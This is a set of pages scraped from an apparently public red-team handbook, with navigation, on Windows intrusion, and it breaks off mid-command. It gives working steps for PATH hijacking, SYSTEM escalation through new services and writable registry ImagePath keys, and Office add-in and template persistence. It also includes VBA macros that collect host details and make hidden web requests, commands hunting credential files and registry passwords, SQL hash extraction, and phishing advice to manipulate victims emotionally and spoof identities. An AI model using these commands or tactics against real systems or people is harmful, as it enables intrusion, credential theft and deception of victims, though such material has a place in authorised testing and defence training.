[Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry.md) . [ETW Bypasses](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses) [AMSI Bypasses](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses) [PreviousEncrypting Strings](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/encrypting-strings) [NextETW Bypasses](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses) Last updated 5 years ago --- # Hijacking Execution | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution.md) . [Environment Variable interception](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/environment-variable-interception) [DLL Hijacking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/dll-hijacking) [PreviousAlwaysInstallElevated](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/alwaysinstallelevated) [NextEnvironment Variable interception](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/environment-variable-interception) Last updated 5 years ago --- # Privilege Escalation | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation.md) . [Hunting For Passwords](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hunting-for-passwords) [To System](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system) [Hijacking Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution) [Insecure Permissions](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions) [PreviousIPC For Evasion and Control](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization) [NextHunting For Passwords](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hunting-for-passwords) Last updated 5 years ago --- # Hooking | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking.md) . [Detours](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking/detours) [PreviousCode Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection) [NextDetours](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking/detours) Last updated 3 years ago --- # Environment Variable interception | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/environment-variable-interception.md) . The PATH environment variable contains a list of directories which programs rely on to determine the locations of a certain program if the full path to the program is not given. If any directory is listed before the Windows Directory %SystemRoot%\\System32, a program may be placed in the directory to hijack execution flow as that folder will be checked first before System32. For example, if c:\\path precedes %SystemRoot%\\System32, the c:\\path folder will be checked for the certain program before it checks system32. If we placed a program in c:\\path called powershell.exe, the "powershell.exe" in the c:\\path folder will be called instead of the powershell.exe in system32. We need 2 requirements to exploit this: 1. PATH contains a writable folder to the attacker 2. The writable folder is before the folder that contains the legit binary Let's first look at the system wide variables with reg: `reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"` ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh9ufw7PceW8ciiM2No%252F-MhA0NhCA8A6oB-aaAHl%252Fimage.png%3Falt%3Dmedia%26token%3D10b0746d-9ad1-428c-9f43-e69828215fcc&width=768&dpr=3&quality=100&sign=8bf09312&sv=2) As we can see in the above, the document folder precedes the system32 folder. Let's try copying calc renamed to notepad to our documents folder `copy c:\windows\system32\calc.exe c:\Users\front\Documents\notepad.exe` ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh9ufw7PceW8ciiM2No%252F-MhA0xd22SbXYxzXbzV5%252Fimage.png%3Falt%3Dmedia%26token%3D5d6153e7-12b5-48b7-aea2-c054e8ba399c&width=768&dpr=3&quality=100&sign=217e2043&sv=2) now lets open up cmd and try to open notepad. As you can see, calc will popup instead. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh9ufw7PceW8ciiM2No%252F-MhA17atJG98jQQDytgk%252Fimage.png%3Falt%3Dmedia%26token%3Dc67ae601-fb47-455c-9ca3-abfcd07ae4f1&width=768&dpr=3&quality=100&sign=a787f5c1&sv=2) We can modify this to run our malware which will run our shellcode and start notepad.exe at the same time Because this is a system wide variable, any admin user who tries to run notepad will run calc.exe with elevated privileges which can lead to privilege escalation if we the admin user to run our malware. [PreviousHijacking Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution) [NextDLL Hijacking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/dll-hijacking) Last updated 5 years ago --- # Tips and Tricks | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tips-and-tricks.md) . * Send password protected documents. * Send links instead of attachments, S3 buckets and Azure blobs are a good choice. * Avoid built-in document viewers. * Unleash your inner sociopath, provide compliments and play with their emotions. * Assume worst case scenario. * Start a conversation with the victim before ending your malicious document. * Leverage current events for a good pretext. * clone internal email signatures and spoof phone numbers, following the standard email template for a company can really lure people in. * Make your document phone back home whenever opened to have a better sense of idea of what went wrong if you encounter some failure. [PreviousInitial Access](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access) [NextTools](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tools) Last updated 5 years ago --- # Staging/Stagers | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/staging-stagers.md) . Stagers are used to: keep payload smalls, appear non malicious, and avoid detection. This will keep things nice and simple and will reduce the complexity of our payloads. Here are a list of stages, and their purpose: **STAGE 0** * Also known as Droppers and Loaders * Burnable and ready to adapt to new methods * Used for Initial payload delivery * Detecting defenses such as security products and application whitelisting * Used for bypassing such defenses like application whitelisting and amsi * facilitate transfer into the other stages **STAGE 1** * This is used for persistence and such * Used for situational awareness and information gathering * Will be the long term beacon * Will usually have robust communication, and will be very stable **STAGE 2** * This is where the fun starts * Privilege escalation * lateral movement * Network enumeration * AD attacks and credential access **STAGE 3** * The exfiltration phase * Find and extract sensitive data * encrypt traffic, uses traffic tunneling [PreviousTools](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tools) [NextMS Office](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office) Last updated 5 years ago --- # Evasion | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion.md) . [VBA Stomping](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/vba-stomping) [Revert To Legacy Warning in Excel](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/revert-to-legacy-warning-in-excel) [Sandbox Evasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/sandbox-evasion) [PreviousMacros](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros) [NextVBA Stomping](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/vba-stomping) Last updated 5 years ago --- # PowerPoint | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/powerpoint.md) . [Previous.MAM Files](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/.mam-files) [NextACCDE](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/accde) Last updated 5 years ago --- # Vulnerability Discovery | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery.md) . [Web Vulnerabilities](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities) [PreviousPost Exploitation](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation) [NextWeb Vulnerabilities](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities) Last updated 3 years ago --- # AT | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks/at.md) . Windows AT is like a bootleg Schtask, it can run tasks at specific times but it does not have many options. The AT command always runs with SYSTEM level privileges. For example, run a file everyday at 8am: Copy at 08:00 /EVERY:m,t,w,th,f,s,su C:\file.exe [PreviousScheduled Tasks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks) [NextMS Office](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office) Last updated 5 years ago --- # Tools | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tools.md) . [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - nccgroup/demiguise: HTA encryption tool for RedTeamsGitHub](https://github.com/nccgroup/demiguise) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - mdsecactivebreach/SharpShooter: Payload Generation FrameworkGitHub](https://github.com/mdsecactivebreach/SharpShooter) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - S3cur3Th1sSh1t/Excel-Phish: Phish password protected Excel-FilesGitHub](https://github.com/S3cur3Th1sSh1t/Excel-Phish) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - STMCyber/boobsnail: BoobSnail allows generating Excel 4.0 XLM macro. Its purpose is to support the RedTeam and BlueTeam in XLM macro generation.GitHub](https://github.com/STMSolutions/boobsnail) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - vysecurity/morphHTA: morphHTA - Morphing Cobalt Strike's evil.HTAGitHub](https://github.com/vysecurity/morphHTA) [PreviousTips and Tricks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tips-and-tricks) [NextStaging/Stagers](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/staging-stagers) Last updated 5 years ago --- # MS SQL | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql.md) . [Basics](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/basics) [Finding Sql Servers](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers) [Privilege Escalation](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation) [Post Exploitation](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation) [PreviousSQL](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql) [NextBasics](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/basics) Last updated 5 years ago --- # Info Extraction | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction.md) . This is how we will extract information with Macros. These can be used to evade sandboxes, or to just gather information about the user. ### Extracting domain and computer name:[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#extracting-domain-and-computer-name) Copy Set wshNetwork = CreateObject("Wscript.Network") strUserDomain = wshNetwork.UserDomain strCompName = wshNetwork.computername ### Extracting MAC and IP[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#extracting-mac-and-ip) Copy set cItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPENabled = True") For Each oItem In cItems If Not IsNull(oItem.IPAddress) Then myMacAddress = oItem.macAddress Exit Fort Next set objProcessSet = objWMIService.ExecQuery("Select Name, ProcessID FROM Win32_Process") For Each Process In objProcessSet ProcessStr = ProcessStr & Process.Properties_("Name").Value & ":" & Process.Properties_("ProcessId").Value & "|" Next ### Visit Url[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#visit-url) Here are some more VBA tricks, the one below visits a URL in the background ### This unhides all text[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#this-unhides-all-text) ### Get a process list[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#get-a-process-list) ### HTTP Request[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#http-request) [PreviousShellcode Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/shellcode-execution) [NextDechaining Macros](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros) Last updated 5 years ago * [Extracting domain and computer name:](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#extracting-domain-and-computer-name) * [Extracting MAC and IP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#extracting-mac-and-ip) * [Visit Url](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#visit-url) * [This unhides all text](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#this-unhides-all-text) * [Get a process list](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#get-a-process-list) * [HTTP Request](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction#http-request) Copy Dim objIE As Object Set objIE = CreateObject("InternetExplorer.Application") With objIE .Visible = False .Navigate "https://www.silentbreaksecurity.com" Do While .ReadyState <> 4: DoEvents: Loop .Quit End With Copy Selection.WholeStory With Selection.Font .Hidden = False End With Copy Dim Service, List As Object Set Service = GetObject("winmgmts:\\.\root\cimv2") Set List = Service.ExecQuery ("SELECT * FROM Win32_Process") Dim result As String Dim Process As Object For Each Process In List If Len(Process.ExecutablePath) > 0 Then result = result & Process.ExecutablePath & vbNewLine ElseIf Len(Process.name) > 0 Then result = result & Process.name & vbNewLine End If Next Copy Sub WebRequest() Url = http:/// On Error GoTo Request2 Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") ' very short timeouts, increase if you want. this is in miliseconds objHTTP.setTimeouts 100, 100, 100, 100 'Get for example, can also be any other HTTP VERB, in case you POST, the Send method needs another argument (else you'll just post empty) objHTTP.Open "GET", Url, False objHTTP.Send Set objHTTP = Nothing Exit Sub Request2: 'if you want you can create more error handlers, alternating url or serverxml/winhttp In case you want multiple errors you'll have to reset the error handle to -1 On Error GoTo -1 ' In case of multiple error handlers 'On Error GoTo Request3 'you can change your URL here if you want Set winHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1") winHttpReq.Open "GET", Url, False winHttpReq.Send End Sub --- # SQL | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql.md) . [MS SQL](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql) [PreviousScreen Savers](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/screen-savers) [NextMS SQL](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql) Last updated 5 years ago --- # MS Office | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office.md) . Trusted Locations[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office#trusted-locations) ------------------------------------------------------------------------------------------------------------------------ Add-ins that are placed in trusted locations are automatically ran when Office is opened despite any configured security settings like ignoring macros or add-ins from GPO. Add-ins are just DLLs renamed with a WLL extension. You can find trusted locations based on this query, note that you have to change the version to match up with the version of Office installed Copy Get-ChildItem "hkcu:\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations" This will give you multiple registry key values which are trusted locations. To achieve code execution we have to add a WLL file to these files. You can make a simple DLL shellcode execution and but it in the folder. For example: Copy copy payload.dll %APPDATA%\Microsoft\Word Startup\WordPresistence.wll Templates[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office#templates) -------------------------------------------------------------------------------------------------------- Template macros are similar to add-ins in the fact that they get executed when Word is opened. templates are used to customise Office documents and by default a base template exists under the %APPDATA%\\Microsoft\\Templates\\Normal.dotm path for Word and %APPDATA%\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB for Excel: Depending on the security settings, it may execute without any prompts if it is in a trusted location. To abuse this for persistence, simply modify the template files to execute your payload. [PreviousAT](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks/at) [NextSQL](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/sql) Last updated 5 years ago * [Trusted Locations](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office#trusted-locations) * [Templates](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office#templates) --- # New Service | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/new-service.md) . A trivial way to get system from admin privilege is to create a new service which will run our executable. Our executable will run with SYSTEM privileges by default. Copy sc create lol binPath= "c:\executable.exe" sc start lol [PreviousTo System](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system) [NextNamed Pipe Impersonation](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation) Last updated 5 years ago --- # Post Exploitation | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation.md) . Finding Sensitive Info[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation#finding-sensitive-info) --------------------------------------------------------------------------------------------------------------------------------------------- Indicators of sensitive info are the size, utilization of transparent encryption, names etc. For example, we can use this PowerUpSQL query to identify sensitive info based on names: Copy >> Get-SQLInstanceDomain | Get-SQLConnectionTest | GetSQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "credit,money,password" -SampleSize 2 -ValidateCC -NoDefaults Or with transparent encryption: Copy Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLDatabaseThreaded – Verbose –Threads 10 -NoDefaults | Where-Object {$_.is_encrypted –eq "TRUE"} | Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword "card, password" –SampleSize 2 –ValidateCC -NoDefaults Extracting hashes[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation#extracting-hashes) ----------------------------------------------------------------------------------------------------------------------------------- PowerUpSQL has a very useful function called GetSQLServerPasswordHash that automates the extracting hashes. Copy Get-SQLServerPasswordHash -Verbose -Instance MSSQLSERVER2016\DATABASE -Migrate Todo[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation#todo) --------------------------------------------------------------------------------------------------------- * Getting code execution via xpcmdshell and sp\_OACreate [PreviousPrivilege Escalation](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation) [NextVulnerability Discovery](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery) Last updated 5 years ago * [Finding Sensitive Info](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation#finding-sensitive-info) * [Extracting hashes](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation#extracting-hashes) * [Todo](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation#todo) --- # Initial Access | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access.md) . [Tips and Tricks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tips-and-tricks) [Tools](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tools) [Staging/Stagers](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/staging-stagers) [MS Office](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office) [Payload Delivery](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery) [File Formats](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats) [PreviousOne Liners](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/one-liners) [NextTips and Tricks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tips-and-tricks) Last updated 5 years ago --- # To System | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system.md) . [New Service](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/new-service) [Named Pipe Impersonation](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation) [Local Exploits](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/local-exploits) [AlwaysInstallElevated](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/alwaysinstallelevated) [PreviousHunting For Passwords](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hunting-for-passwords) [NextNew Service](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/new-service) Last updated 5 years ago --- # Misconfigured Registry Hives | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives.md) . We may have over privileged access to some registry keys that we can abuse for privilege escalation. Copy accesschk.exe -accepteula -kvuqsw hklm\System\CurrentControlSet\services > file.txt In this file, we want to look at "Authenticated Users", and see if we have any interesting privileges to any interesting keys. For example, if we have "KEY\_ALL\_ACCESS" to a service, we can abuse this for privilege escalation. To abuse this, we can issue the following command: Copy reg add HKLM\SYSTEM\CurrentControlSet\services\service /v ImagePath /t REG_EXPAND_SZ /d C:\executable /f We know have to wait for the service to restart, or somehow trigger it to restart. [PreviousMissing Services and Tasks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks) [NextInsecure Binary Path](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/insecure-binary-path) Last updated 5 years ago --- # DLL Hijacking | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/dll-hijacking.md) . (todo) [PreviousEnvironment Variable interception](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/environment-variable-interception) [NextInsecure Permissions](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions) Last updated 5 years ago --- # Basics | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/basics.md) . MS SQL is a set of windows services that runs on the Windows OS as a service account. High level of existing SQL Server account types: * Windows Accounts. * SQL Server Logins (Inside SQL Server). * Database Users(Inside SQL Server). MS SQL Server common roles are: * Sysadmin role –> Windows Admin for SQL Server. * public role –> Least privilege, something like Everyone group in Windows. * [Full list](https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2017) . [PreviousMS SQL](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql) [NextFinding Sql Servers](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers) Last updated 5 years ago --- # Hunting For Passwords | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hunting-for-passwords.md) . Low hanging fruit such as passwords may be exposed to a low privileged user which can be abused to escalate privileges. One way we can search for such passwords is this command. Copy dir /b /a /s c:\ > c:\temp\c-dirs.txt type c:\temp\c-dirs.txt | findstr /i passw You can also replace `passw` with : `ssh, vnc` etc. Interesting files that may contain sensitive info are unattend files: Copy C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf C:\Windows\sysprep.inf C:\Windows\Panther\Unattended.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\System32\Sysprep\unattend.xml C:\Windows\System32\Sysprep\unattended.xml C:\unattend.txt C:\unattend.inf You can search for these files with: Copy dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul More interesting files are: Copy VARIABLES.DAT setupinfo setupinfo.bak web.config SiteList.xml .aws\credentials .azure\accessTokens.json .azure\azureProfile.json gcloud\credentials.db gcloud\legacy_credentials gcloud\access_tokens.db Sensitive passwords may also reside in registry: We can also look for vnc credentials and ssh keys (a good tool for this is https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1) WIFI passwords may also be the same as the web page passwords: Credential Popup[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hunting-for-passwords#credential-popup) ------------------------------------------------------------------------------------------------------------------------------------------- You can simply make a credential popup and pray that the user enters their creds into the popup, an implementation is here: [PreviousPrivilege Escalation](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation) [NextTo System](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system) Last updated 3 years ago Copy reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s Copy reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKCU\Software\TightVNC\Server" reg 